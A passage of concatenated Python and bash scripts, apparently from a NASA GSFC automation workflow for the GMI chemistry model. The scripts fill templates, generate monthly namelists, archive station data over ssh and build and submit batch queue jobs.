nextMonth = str(nextMonth) else: nextMonth = "0" + str(nextMonth) nextYear = str(nextYear) nextDate = nextYear + nextMonth + theDay print nextDate <file_sep>#!/usr/bin/env python #################################################################### # Instantiates a template containing specific keyword tokens. The # keyword tokens will be exchanged for the actual values when the # template file is created. # # Command line parameters: # @param 1 is the values file containing the values to fill in # @param 2 is the template file containing keywords to replace # @param 3 is the file to create from the template instatiation # # All values for the template instantiation are specified in the form: # TEMPLATED_VALUE = value # # This makes it convenient to use bash variable files for the template # input. The corresponding template file will use "TEMPLATED_VALUE" # wherever it requires a templated value. # #################################################################### import sys #################################################################### # Reads a template token file to create tuples of tokens. # @return: token tuple array with element: (token name, token value) # # File format of the tuples are: # # comment/ignored # tokenName = tokenValue # ... def getTokenValuesFromFile(tokenValueFilename): tokenValueFile = open(tokenValueFilename, "r") tokenTuples = [] for tokenText in tokenValueFile: # remove whitespace tokenText = tokenText.strip() # ignore comment characters isComment = tokenText.startswith("#"); if isComment: continue # break up the text into the token fields (name, value) tokenTuple = parseForToken(tokenText) if tokenTuple != None: tokenTuples.append(tokenTuple) return tokenTuples #################################################################### # Creates a substituted instance of a template file using the token # values to replace each occurrence of a token within the template. def instantiateTemplate(templateFilename, instantiationFilename, tokenTuples): templateFile = open(templateFilename, "r") instantiateFile = open(instantiationFilename, "w") # perform substitution for each line in template for templateText in templateFile: substitutedText = substituteTokens(templateText, tokenTuples) instantiateFile.write(substitutedText) templateFile.close() #################################################################### # Substitutes any matching token in the targetString with the value # @return: substituted string def substituteTokens(targetString, tokenTuples): # cycle through all available tokens and replace inside the targetString for tokenIndex in range(0, len(tokenTuples)): currentTokenName, currentTokenValue = tokenTuples[tokenIndex] targetString = targetString.replace(currentTokenName, currentTokenValue) return targetString #################################################################### # Parses the following string to retrieve a # @return: tuple with the name, value of the token or None if # it does not contain one def parseForToken(text): tokenFields = text.split("=") # if the fields were found then return them if len(tokenFields) > 1: tokenName = tokenFields[0] tokenValue = tokenFields[1] # remove whitespace surrounding the fields tokenName = tokenName.strip() tokenValue = tokenValue.strip() return tokenName, tokenValue else: return None #################################################################### def main(): # grab command line arguments if len(sys.argv) != 4: return -1 valuesFilename = sys.argv[1] templateFilename = sys.argv[2] instantiationFilename = sys.argv[3] # create the values for the template and generate new instantiation tokenTuples = getTokenValuesFromFile(valuesFilename) instantiateTemplate(templateFilename, instantiationFilename, tokenTuples) # Run as the main program if __name__ == '__main__': main() <file_sep>#!/bin/bash export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "REMOTE_USER: $REMOTE_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" if [ "$CURRENT_DATE" == "" ]; then echo "Setting CURRENT_DATE to START_DATE" export CURRENT_DATE=$START_DATE else echo "Setting CURRENT_DATE to next month" CURRENT_DATE=`$NED_WORKING_DIR/bin/util/./IncrementMonth.py -d $CURRENT_DATE` fi echo "export CURRENT_DATE=$CURRENT_DATE" >> $workflowConfig echo "Current date: " $CURRENT_DATE . $NED_WORKING_DIR/bin/ReturnMonth.bash export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi echo "----------------------------" echo "Pulling stations off tape for $currentMonth" echo "------------------------" echo "" echo "ssh $REMOTE_USER@$MACH dmget $ARCHIVE_DIR/$currentYear/stations/*$EXP_NAME*$currentYear*$currentMonth*profile.nc" ssh $REMOTE_USER@$MACH dmget $ARCHIVE_DIR/$currentYear/stations/*$EXP_NAME*$currentYear*$currentMonth*profile.nc export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem pulling the $currentYear $currentMonth files off tape" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi echo "----------------------------" exit 0 <file_sep>#!/bin/bash #export workflowConfig=$NED_WORKING_DIR/WorkflowConfigs.bash export workflowConfig=$NED_WORKING_DIR/.exp_env.bash echo $workflowConfig . $workflowConfig echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" . $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ReturnMonth.bash export currentYear=${CURRENT_DATE:0:4} export numMonth=${CURRENT_DATE:4:2} export currentMonth='xxx' returnMonth $numMonth $currentMonth if [ "$currentMonth" = "xxx" ]; then echo "Month not recognized" exit -1 fi fileNameString="gmic_"$EXP_NAME"_"$currentYear"_"$currentMonth"_*.profile.nc" echo "----------------------------" echo "Archiving separate station data for $currentMonth" echo "------------------------" echo "" echo "ssh $NED_USER@$MACH mkdir -p $ARCHIVE_DIR/$currentYear/stations/separateFiles" ssh $NED_USER@$MACH mkdir -p $ARCHIVE_DIR/$currentYear/stations/separateFiles export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a problem creating the directory: $ARCHIVE_DIR/$currentYear/stations/separateFiles" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi echo "ssh $NED_USER@$MACH mv $ARCHIVE_DIR/$currentYear/stations/*$EXP_NAME*$currentYear*$currentMonth*profile.nc $ARCHIVE_DIR/$currentYear/stations/separateFiles/" ssh $NED_USER@$MACH mv $ARCHIVE_DIR/$currentYear/stations/*$EXP_NAME*$currentYear*$currentMonth*profile.nc $ARCHIVE_DIR/$currentYear/stations/separateFiles/ export outputCode=$? if [ "$outputCode" != "0" ]; then echo "There was a moving the data to: $ARCHIVE_DIR/$currentYear/stations/separateFiles" echo "------------------------" exit -1 else echo "Output check cleared: $outputCode" fi echo "exiting" exit 0 <file_sep>#!/bin/bash -xv # Get variables from env files . $NED_WORKING_DIR/.exp_env.bash # Now add other variables to the file export ENV_FILE="$NED_WORKING_DIR/.$MACH"_env.bash . $ENV_FILE echo "export NED_WORKING_DIR=$NED_WORKING_DIR" >> $NED_WORKING_DIR/.exp_env.bash echo "export NED_USER=$NED_USER" >> $NED_WORKING_DIR/.exp_env.bash echo "export NED_REAL_USER=$NED_REAL_USER" >> $NED_WORKING_DIR/.exp_env.bash echo "export NED_UNIQUE_ID=$NED_UNIQUE_ID" >> $NED_WORKING_DIR/.exp_env.bash . $ENV_FILE # check to see if the top level experiment directory exists echo "Checking if top level experiment directory exists..." >> $NED_WORKING_DIR/main.log echo "ls $NED_WORKING_DIR/$NED_UNIQUE_ID" >> $NED_WORKING_DIR/main.log ls $NED_WORKING_DIR/$NED_UNIQUE_ID if [ "$?" != "0" ]; then # rename the top level experiment directory echo "mv $NED_WORKING_DIR/GMI/ $NED_WORKING_DIR/$NED_UNIQUE_ID" >> $NED_WORKING_DIR/main.log mv $NED_WORKING_DIR/GMI/ $NED_WORKING_DIR/$NED_UNIQUE_ID >> $NED_WORKING_DIR/main.log else echo "mv $NED_WORKING_DIR/GMI/* $NED_WORKING_DIR/$NED_UNIQUE_ID/" >> $NED_WORKING_DIR/main.log mv $NED_WORKING_DIR/GMI/* $NED_WORKING_DIR/$NED_UNIQUE_ID/ >> $NED_WORKING_DIR/main.log fi # setup group_list variable echo "$NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./SetupGroupList.py -f $NED_WORKING_DIR/workflowMetadata.xml -s entry -n GROUP_CODE -w $NED_WORKING_DIR/.exp_env.bash" $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/util/./SetupGroupList.py -f $NED_WORKING_DIR/workflowMetadata.xml -s entry -n GROUP_CODE -w $NED_WORKING_DIR/.exp_env.bash echo $? # Machine dependent ENV file echo "#ENV file for selected system" >> $NED_WORKING_DIR/.exp_env.bash echo "export ENV_FILE=$ENV_FILE" >> $NED_WORKING_DIR/.exp_env.bash # Installation directories for pre-built executables if [ "$COMPILE" = "F" ]; then if [ "$TRUNK" = "T" ]; then echo "#Trunk selected" >> $NED_WORKING_DIR/.exp_env.bash echo "export INSTALL_GMI=$INSTALL_DIR/latest" >> $NED_WORKING_DIR/.exp_env.bash echo "export WORK_DIR=$WORK_DIR/" >> $NED_WORKING_DIR/.exp_env.bash else echo "#Tag to be used: $TAG" >> $NED_WORKING_DIR/.exp_env.bash echo "export INSTALL_GMI=$INSTALL_DIR/$TAG" >> $NED_WORKING_DIR/.exp_env.bash echo "export WORK_DIR=$WORK_DIR/$TAG" >> $NED_WORKING_DIR/.exp_env.bash fi fi # Add local workflow bin files to the PATH echo "export PATH=$PATH:$NED_WORKING_DIR/$NED_UNIQUE_ID/bin" >> $NED_WORKING_DIR/.exp_env.bash # Visualization directory echo "export VIS_DIR=$WORK_DIR/completed" >> $NED_WORKING_DIR/.exp_env.bash echo "export VIS_SYS=$MACH" >> $NED_WORKING_DIR/.exp_env.bash # Get variables from env files . $NED_WORKING_DIR/.exp_env.bash echo "------------------------" echo "NED_USER: $NED_USER" echo "NED_WORKING_DIR: $NED_WORKING_DIR" echo "------------------------" echo "" echo "--------------------------------------" echo "ENV_FILE: $ENV_FILE" echo "--------------------------------------" echo "" . $ENV_FILE # Create the remote working directory systemCommand="ssh $NED_USER@$MACH $MKDIR -p $WORK_DIR" echo $systemCommand $systemCommand <file_sep>#!/bin/bash #Get the user and the working wirectory export NED_USER=$1 export NED_WORKING_DIR=$2 export NED_UNIQUE_ID=$3 export NED_REAL_USER=$4 echo "The GMI submission script have been called" >> $NED_WORKING_DIR/main.log echo $NED_USER >> $NED_WORKING_DIR/main.log echo $NED_WORKING_DIR >> $NED_WORKING_DIR/main.log echo $NED_UNIQUE_ID >> $NED_WORKING_DIR/main.log # check to see if the top level experiment directory exists echo "Checking if top level experiment directory exists..." >> $NED_WORKING_DIR/main.log echo "ls $NED_WORKING_DIR/$NED_UNIQUE_ID" >> $NED_WORKING_DIR/main.log ls $NED_WORKING_DIR/$NED_UNIQUE_ID if [ "$?" != "0" ]; then # rename the top level experiment directory echo "mv $NED_WORKING_DIR/GMI/ $NED_WORKING_DIR/$NED_UNIQUE_ID" >> $NED_WORKING_DIR/main.log mv $NED_WORKING_DIR/GMI/ $NED_WORKING_DIR/$NED_UNIQUE_ID >> $NED_WORKING_DIR/main.log else echo "mv $NED_WORKING_DIR/GMI/* $NED_WORKING_DIR/$NED_UNIQUE_ID/" >> $NED_WORKING_DIR/main.log mv $NED_WORKING_DIR/GMI/* $NED_WORKING_DIR/$NED_UNIQUE_ID/ >> $NED_WORKING_DIR/main.log fi # create a definition file using the unique id /usr/local/bin/perl $NED_WORKING_DIR/$NED_UNIQUE_ID/bin/ModifySMSDefFile.pl $NED_WORKING_DIR/GMI.def $NED_UNIQUE_ID >> $NED_WORKING_DIR/$NED_UNIQUE_ID.def # set the permissions chmod 775 $NED_WORKING_DIR/$NED_UNIQUE_ID.def >> $NED_WORKING_DIR/main.log # Create include file to hold NED env vars (needed by workflow) cat << _EOF_ > $NED_WORKING_DIR/$NED_UNIQUE_ID/include/.ned_env.h #!/bin/ksh NED_USER=%NED_USER% NED_WORKING_DIR=%NED_WORKING_DIR% NED_UNIQUE_ID=%NED_UNIQUE_ID% export NED_USER NED_WORKING_DIR NED_REAL_USER NED_UNIQUE_ID NED_DISPLAY _EOF_ chmod 775 $NED_WORKING_DIR/.exp_env.bash >> $NED_WORKING_DIR/main.log #Source the variable file to get dates . $NED_WORKING_DIR/.exp_env.bash >> $NED_WORKING_DIR/main.log echo $START_DATE >> $NED_WORKING_DIR/main.log echo $END_DATE >> $NED_WORKING_DIR/main.log echo $NED_WORKING_DIR >> $NED_WORKING_DIR/main.log echo $NED_UNIQUE_ID >> $NED_WORKING_DIR/main.log echo $NED_USER >> $NED_WORKING_DIR/main.log export startDate=$START_DATE export endDate=$END_DATE #Call the SMS via CDP /home/workflow/prism_system/sms/bin/cdp << EOF login localhost UID $NED_USER set startSegment $startDate set endSegment $endDate set NED_WORKING_DIR $NED_WORKING_DIR set NED_UNIQUE_ID $NED_UNIQUE_ID set NED_USER $NED_USER set NED_REAL_USER $NED_REAL_USER play $NED_WORKING_DIR/$NED_UNIQUE_ID.def begin $NED_UNIQUE_ID EOF <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # NASA/GSFC, Software Integration & Visualization Office, Code 610.3 #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: May 3th, 2007 # # DESCRIPTION: #------------------------------------------------------------------------------ import string import os import re import commands import sys from GmiExceptions import GmiExceptions from IoRoutines import IoRoutines from GmiAutomationTools import GmiAutomationTools class GmiNameLists: #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Constructor routine. #--------------------------------------------------------------------------- def __init__(self): self.nameListPath = '' self.nameListFile = '' self.numberOfNameLists = 0 self.startMonth = '' self.startYear = '' self.replaceRestartFile = 0 self.restartFileDir = '' self.oneDay = 0 self.endDate = '' self.exceptions = GmiExceptions () self.fortranNameList = None self.gmiSeconds = None self.envFile = None #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Destructor routine. #--------------------------------------------------------------------------- def __del__(self): pass #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Prints objects contents #--------------------------------------------------------------------------- def printMe (self): print "name list path: ", self.nameListPath print "name list file: ", self.nameListFile print "number of name lists: ", self.numberOfNameLists print "start month: ", self.startMonth print "start year: ", self.startYear print "replace restart file?: ", self.replaceRestartFile print "restart file directory: ", self.restartFileDir #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine will create namelists based upon the example namelist. # Orginally created by <NAME> # Modified by <NAME> # Pass "1" to replaceRestartFile to specify to only create one namelist # The script will work otherwise, but if you pass "1" - the restart file # will be replaced each time. #--------------------------------------------------------------------------- def makeNameLists (self): if self.fortranNameList == None: raise "Set fortranNameList before proceeding" return if len (self.nameListPath) <= 0: raise self.exceptions.BADOBJECTDATA return if len (self.nameListFile) <= 0: raise self.exceptions.BADOBJECTDATA return if self.numberOfNameLists <= 0: raise self.exceptions.BADOBJECTDATA return if len (self.startMonth) <= 0: raise self.exceptions.BADOBJECTDATA return if len (self.startYear) <= 0: raise self.exceptions.BADOBJECTDATA return if not os.path.exists (self.nameListPath + "/" + self.nameListFile): raise self.exceptions.NOSUCHFILE return autoTool = GmiAutomationTools () pathToNameList = self.nameListPath namelistfile = self.nameListFile numNameLists = self.numberOfNameLists startmonth = self.startMonth startyear = self.startYear #--------------------------------------------------------------------------- # Begin Gary Wojcik section # Modified by <NAME> 3/20/2008 #--------------------------------------------------------------------------- daysPerMonth=[31,28,31,30,31,30,31,31,30,31,30,31] monthNames=['jan', 'feb','mar','apr','may','jun','jul',\ 'aug','sep','oct','nov', 'dec'] ioObject = IoRoutines () fileLines = ioObject.readFile (self.envFile) for line in fileLines: if re.search ('MATCH', line): splitString = line.split("=") options = splitString[0].split(" ") option = options[1] value = splitString[1] if option == "MATCH_BC_TO_YEAR": matchBcToYear = bool(1) if value == "F": matchBcToYear = bool(0) elif option == "MATCH_SAD_TO_YEAR": matchSadToYear = bool(1) if value == "F": matchSadToYear = bool(0) elif option == "MATCH_EMISS_TO_YEAR": matchEmissToYear = bool(1) if value == "F": matchEmissToYear = bool(0) elif option == "MATCH_AERDUST_TO_YEAR": matchAerToYear = bool(1) if value == "F": matchAerToYear = bool(0) elif option == "MATCH_LIGHT_TO_YEAR": matchLightToYear = bool(1) if value == "F": matchLightToYear = bool(0) else: print "I don't understand this MATCH option and this could be a problem." elif re.search ('INITIAL', line): splitString = line.split("=") options = splitString[0].split(" ") option = options[1] value = splitString[1] if option == "INITIAL_YEAR_FORC_BC": initialYearForcBc = value elif option == "INITIAL_YEAR_LIGHT": initialYearLight = value else: print "I don't understand this INITIAL option and this could be a problme" # read the starting namelist file infil='%s/%s' % (pathToNameList, namelistfile) nfil=open(infil,"r") namelistContent=nfil.readlines() nfil.close() if self.fortranNameList == "true": splitter = "=" endLine = ",\n" else: splitter = ":" endLine = "\n" # get orginal problem name # it is assumed the month is in the name foundIt = -1 for line in namelistContent: if re.search ('problem_name', line): origproblemname=line.split(splitter)[1] origproblemname.strip() foundIt = 0 if foundIt != 0: print "Problem finding the problem_name. Check the namelist" sys.exit (-1) splitProblemName=origproblemname.split("_") counter = 0 for word in splitProblemName: string.join(word.split(), "") splitProblemName[counter] = word.strip() splitProblemName[counter] = word.strip("'") splitProblemName[counter] = word.strip("',\n") counter = counter + 1 # get orginal problem name # it is assumed the month is in the name # baseProblemName=namelistContent[1].split("'")[1] # splitProblemName=baseProblemName.split("_") # find the month to start on for monthNumber in xrange(0,12,1): if startmonth == monthNames[monthNumber]: istartmonth=monthNumber monthId=istartmonth yearFlag=0 currentYear=startyear restartYear=currentYear # will be used to make the namelists file listOfNamelists = [] # for each namelist currentYear=str(int(startyear)) for currentNameListCount in xrange(0,numNameLists,1): # open the file nfil=open(infil,"r") # flag for a new year (11->DEC if istartmonth == 11: yearFlag = 1 if yearFlag == 1: restartYear=str(int(currentYear)+1) yearFlag=0 if monthId == 0: restartYear=str(int(currentYear)-1) else: restartYear=str(int(currentYear)) currentMonth = monthNames[monthId] metfilelist = '%s%s.list' % (currentMonth, currentYear) finaldays = daysPerMonth[monthId] if monthId < 9: strmonthId='0'+str(monthId+1) else: strmonthId=str(monthId+1) # create namelist variables if self.oneDay == 1: endymd = self.endDate startymd = self.startDate else: endymd = currentYear[0:4] + strmonthId + str(daysPerMonth[monthId]) endymd = autoTool.incrementDate (endymd) if endymd[4:8] == "0229": newendymd = endymd[0:4]+"0301" endymd = newendymd startymd = currentYear[0:4] + strmonthId + '01' print "endymd: ", endymd problemName1 = splitProblemName[0].strip() problemName2 = splitProblemName[1].strip() restartName = problemName1 + '_' + problemName2 + \ '_' + restartYear + '_'+ \ monthNames[monthId-1] restartFileName = '%s.rst.nc' % (restartName) newProblemName = problemName1 + '_' + problemName2 + \ '_' + currentYear + '_' + currentMonth directoryPath = '%s/' % (pathToNameList) dflag = os.path.exists(directoryPath) if dflag == 0: os.makedirs(directoryPath) listOfNamelists.append (newProblemName+".in") newProblemNameFullPath = '%s%s.in' % (directoryPath,newProblemName) ofil = open(newProblemNameFullPath,"w") if self.fortranNameList == "true": newProblemName = "'" + newProblemName + "'" metfilelist = "'" + metfilelist + "'" print "newProblemName: ", newProblemName # create new file for inline in nfil.readlines(): # find the variable name / keyWord splitLine = inline.split() # skip if there are no items if len(splitLine) == 0: continue keyWord = splitLine[0] splitKeyWord = re.split(splitter, keyWord) keyWord = splitKeyWord[0] if len(splitLine) == 2: value = splitLine[1] if keyWord == 'problem_name': print "newProblemName: ", newProblemName ofil.write('problem_name' + splitter + newProblemName + endLine) elif keyWord == 'BEG_YY': print "BEG_YY: ", currentYear[0:4] ofil.write('BEG_YY' + splitter + currentYear[0:4] + endLine) elif keyWord == 'BEG_MM': print "BEG_MM: ", str(int(strmonthId)) ofil.write('BEG_MM' + splitter + str(int(strmonthId)) + endLine) elif keyWord == 'BEG_DD': print "BEG_DD: 0" ofil.write('BEG_DD' + splitter + ' 1' + endLine) elif keyWord == 'BEG_H': print "BEG_H: 0" ofil.write('BEG_H' + splitter + ' 0' + endLine) elif keyWord == 'BEG_M': print "BEG_M: 0" ofil.write('BEG_M' + splitter + ' 0' + endLine) elif keyWord == 'BEG_S': print "BEG_S: 0" ofil.write('BEG_S' + splitter + ' 0' + endLine) elif keyWord == "END_YY": ofil.write('END_YY' + splitter + endymd[0:4] + endLine) elif keyWord == "END_MM": ofil.write('END_MM' + splitter + str(int(endymd[4:6])) + endLine) elif keyWord == "END_DD": ofil.write('END_DD' + splitter + str(int(endymd[6:8])) + endLine) elif keyWord == 'END_H': ofil.write('END_H' + splitter + ' 0' + endLine) elif keyWord == 'END_M': ofil.write('END_M' + splitter + ' 0' + endLine) elif keyWord == 'END_S': ofil.write('END_S' + splitter + ' 0' + endLine) elif keyWord == 'met_filnam_list': ofil.write('met_filnam_list' + splitter + metfilelist + endLine) elif keyWord == 'restart_infile_name' and \ self.replaceRestartFile != 0: print "changing restart!" ofil.write('restart_infile_name' + splitter + restartFileName + endLine) elif keyWord == 'forc_bc_start_num' and \ matchBcToYear == True: forcBcStartNum = int(startymd[0:4]) - int(initialYearForcBc) if forcBcStartNum < 0: print "forcBcStartNum cannot be less than 0!" sys.exit (-1) print "forcBcStartNum: ", forcBcStartNum ofil.write('forc_bc_start_num' + splitter + str(forcBcStartNum) + endLine) #ofil.write('forc_bc_start_num' + splitter + str(int(startymd[0:4]) - 1949) + endLine) elif keyWord == 'lightYearDim' and \ matchLightToYear == True: lightYearStartNum = int(startymd[0:4]) - int(initialYearLight) if lightYearStartNum < 0: print "lightYearStartNum cannot be less than 0!" sys.exit (-1) print "lightYearStartNum: ", lightYearStartNum ofil.write('lightYearDim' + splitter + str(lightYearStartNum) + endLine) #ofil.write('lightYearDim' + splitter + str(int(startymd[0:4]) - 1989) + endLine) elif keyWord == 'lbssad_infile_name' and \ matchSadToYear == True: print "changing lbssad" splitLbssad = re.split("_", value) # 0 /discover/nobackup/projects/gmi/gmidata2/input/chemistry/surfareadens/CMIP6/sad_ # 1 wt_ # 2 CMIP6_ # 3 1x72_ # 4 2005.nc if len(splitLbssad) == 5: print ("Found 5 lbssad tokens!") newLbssad = splitLbssad[0] + "_" + splitLbssad[1] + "_" + splitLbssad[2] + "_" + \ splitLbssad[3]+ "_" + startymd[0:4] + ".nc" else: newLbssad = splitLbssad[0] + "_" + splitLbssad[1] + "_" + splitLbssad[2] + "_" + startymd[0:4] + ".nc" ofil.write('lbssad_infile_name' + splitter + newLbssad + endLine) elif keyWord == 'emiss_infile_name' and \ matchEmissToYear == True: splitEmiss = re.split("_", value) newEmiss = splitEmiss[0] + "_" + startymd[0:4] + "_" + splitEmiss[2]+ "_" + splitEmiss[3] + "_" + splitEmiss[4] print "newEmiss: ", newEmiss ofil.write('emiss_infile_name' + splitter + newEmiss + endLine) # /discover/nobackup/projects/gmi/gmidata2/input/chemistry/aerodust/aerodust_MERRA2_1x1.25x72_20190101.nc elif keyWord == 'AerDust_infile_name' and \ matchAerToYear == True: print "Modified" splitAer = re.split("_", value) newAer = splitAer[0] + "_" + splitAer[1] + "_" + splitAer[2] + "_" + startymd[0:6] + "01.nc" print "newAer: ", newAer ofil.write('AerDust_infile_name' + splitter + newAer + endLine) elif keyWord == 'begGmiDate': ofil.write('begGmiDate' + splitter + currentYear + strmonthId \ + '01' + endLine) elif keyWord == 'begGmiTime': ofil.write('begGmiTime' + splitter + '000000' + endLine) elif keyWord == 'endGmiDate': ofil.write('endGmiDate' + splitter + str(int(endymd[0:8])) + endLine) elif keyWord == 'endGmiTime': ofil.write('endGmiTime' + splitter + '000000' + endLine) elif keyWord == 'gmi_sec': ofil.write('gmi_sec' + splitter + self.gmiSeconds + endLine) elif keyWord == 'rd_restart' and \ self.replaceRestartFile != 0: ofil.write('rd_restart' + splitter + 'T' + endLine) else: data=inline.replace('\r','') #Removes ^M character from strings written ofil.write(data) intYear = int (currentYear) monthId = monthId + 1 if monthId == 12: currentYear = str (intYear + 1) monthId = 0 ioObject.writeToFile (listOfNamelists,pathToNameList+"/namelists.list") if int(currentYear)% 4 == 0 and monthId == 2: print "leap year!" daysInMonth = 29 else: daysInMonth = int(daysPerMonth[monthId-1]) gmiSeconds = int(self.gmiSeconds) + (daysInMonth * 24 * 3600) # write new gmiSeconds to file ioObject.writeToFile (["export gmi_sec=" + str(gmiSeconds)], self.envFile) for nameList in listOfNamelists: print nameList <file_sep>#!/usr/bin/env python #------------------------------------------------------------------------------ # NASA/GSFC, Software Integration & Visualization Office, Code 610.3 #------------------------------------------------------------------------------ # AUTHORS: <NAME> # AFFILIATION: NASA GSFC / NGIT / TASC # DATE: April 9th, 2007 # # DESCRIPTION: # This class contains the routines for performing GMI production tasks. # NOTE: the problem_name under the ESM namelist section should be the # same as the name of the namelist file excluding the ".in". For example: # namelist file: mar04.in # problem_name: mar04 #------------------------------------------------------------------------------ import os import re import commands import sys import string import datetime import math from GmiExceptions import GmiExceptions from IoRoutines import IoRoutines from GmiAutomationConstants import GmiAutomationConstants from GmiAutomationTools import GmiAutomationTools class GmiProduction: #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Constructor routine. #--------------------------------------------------------------------------- def __init__(self): self.queueFileName = "" self.nameListName = "" self.queueJobName = "" self.runDirectory = "" self.storageDirectory = "" self.longDescription = "" self.segmentDescription = "" self.modelVersion = "" self.mailTo = "" self.queueId = "" self.base = "" self.year = "" self.month = "" self.archiveSystem = "" self.scali = None self.exceptions = GmiExceptions () self.constants = GmiAutomationConstants () self.automationObject = GmiAutomationTools () self.ioObject = IoRoutines () #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # Destructor routine. #--------------------------------------------------------------------------- def __del__(self): pass #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine will modify the file name specified by queueFileName. # The job name and the namelist file in the mpirun # command will be changed. #--------------------------------------------------------------------------- def modifyQueueFile (self, defaultQueueFile, numProcessors, numProcessorsPerNode, \ chargeCode, chemicalMechanism, destinationDirectory, wallTime, \ useNlInMpi, lastJobId): print "numProcessorsPerNode: ", numProcessorsPerNode print "useNlInMpi: ", useNlInMpi if len (self.nameListName) <= 0: raise self.exceptions.BADOBJECTDATA return if len (self.runDirectory) <= 0: raise self.exceptions.BADOBJECTDATA return if numProcessors <= 0: raise self.exceptions.ERROR if not os.path.exists (defaultQueueFile): raise self.exceptions.NOSUCHFILE return extension = self.nameListName[len(self.nameListName)-len('.in'):len(self.nameListName)] if extension != ".in": raise self.exceptions.BADOBJECTDATA return self.base = self.nameListName[0:len(self.nameListName)-len(extension)] print "self.base: ", self.base # create the new queue file if len (self.base) > self.constants.MAXPBSJOBNAMELENGTH: self.queueJobName = self.base[5:self.constants.MAXPBSJOBNAMELENGTH+5] else: self.queueJobName = self.base if self.nameListName != "transfer.in": self.queueFileName = destinationDirectory + "/" + self.base + '.qsub' else: self.queueFileName = destinationDirectory + "/transfer.qsub" print self.queueFileName systemCommand = self.constants.CPPATH + 'cp ' + defaultQueueFile + ' ' + self.queueFileName systemReturnCode = os.system (systemCommand) if systemReturnCode != 0: print "\nThere was an error copying the file ", defaultQueueFile, " to ", self.queueFileName sys.exit (1) print "reading the file: ", self.queueFileName # read the new file fileLines = self.ioObject.readFile (self.queueFileName) print "files lines from file: ", fileLines print "numProcessors, ", numProcessors print "numProcessorsPerNode, ", numProcessorsPerNode numberOfNodes=math.ceil(float(numProcessors)/float(numProcessorsPerNode)) print "numberOfNodes = ", numberOfNodes # change the new file lineCounter = 0 for line in fileLines: if re.search ("#SBATCH -A", line): fileLines [lineCounter] = "#SBATCH -A " + chargeCode elif line[0:7] == "#PBS -N": fileLines [lineCounter] = "#PBS -N " + self.queueJobName elif line[0:7] == "#PBS -q": fileLines [lineCounter] = "#PBS -q " + self.queueName elif re.search ("mpirun", line): fileLines [lineCounter] = line + " " + \ " -np " + str(numProcessors) + \ " $GEMHOME/gmi.x " if useNlInMpi == "T": fileLines [lineCounter] = fileLines [lineCounter] + \ " -d " + self.nameListName fileLines [lineCounter] = fileLines [lineCounter] + \ "| tee stdout.log" elif re.search ("MOCK", line): fileLines [lineCounter] = " $GEMHOME/./gmi.x " + \ " -d " + self.nameListName + "| tee stdout.log" # elif re.search ("#PBS -W group_list", line): # fileLines [lineCounter] = "#PBS -W group_list=" + chargeCode # elif re.search ("#PBS -W depend", line): elif re.search ("#SBATCH --depend", line): print "found depend line" if lastJobId != None: print "job id is not none" fileLines [lineCounter] = "#SBATCH --dependency=afterany:" + lastJobId else: print "IN ELSE" fileLines [lineCounter] = "" elif re.search ("CHEMCASE", line): fileLines [lineCounter] = "setenv CHEMCASE " + chemicalMechanism elif re.search ("setenv workDir", line): fileLines [lineCounter] = "setenv workDir " + self.runDirectory elif re.search ("setenv GEMHOME", line): fileLines [lineCounter] = "setenv GEMHOME " + self.runDirectory elif re.search ("select=", line): print "replacing select line" fileLines [lineCounter] = "#PBS -l select=" + str (int(numberOfNodes)) + ":ncpus=" + numProcessorsPerNode + ":mpiprocs=" + numProcessorsPerNode if self.scali != None: if self.scali == "true": fileLines [lineCounter] = fileLines [lineCounter] + ":scali=true" elif re.search ("walltime", line): fileLines [lineCounter] = "#PBS -l walltime=" + wallTime elif re.search ("cp namelist.list gmiResourceFile.rc", line): fileLines [lineCounter] = "cp " + self.nameListName + " gmiResourceFile.rc" elif re.search ("bbscp", line): if re.search ("bbscp year/diagnostics", line): fileLines [lineCounter] = "bbscp " + self.year + "/diagnostics/*" + \ self.year + "*" + self.month + "* " + self.archivesystem + ":" \ + self.storageDirectory else: filesLines [lineCounter] = "" lineCounter = lineCounter + 1 # write the file self.ioObject.touchNewFile (self.queueFileName) self.ioObject.writeToFile (fileLines, self.queueFileName) #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routines submits the job using the queueFileName in the object. # The job id is both returned and set in the object as queueId. #--------------------------------------------------------------------------- def submitJobToQueue (self): if len (self.queueFileName) <= 0: raise self.exceptions.BADOBJECTDATA return if not os.path.exists (self.queueFileName): raise self.exceptions.NOSUCHFILE return self.queueId = commands.getoutput (self.constants.QSUBPATH + "qsub " + self.queueFileName) return self.queueId #--------------------------------------------------------------------------- # AUTHORS: <NAME> NASA GSFC / NGIT / TASC # # DESCRIPTION: # This routine returns the status of a queue job either JOBINQUEUE or # 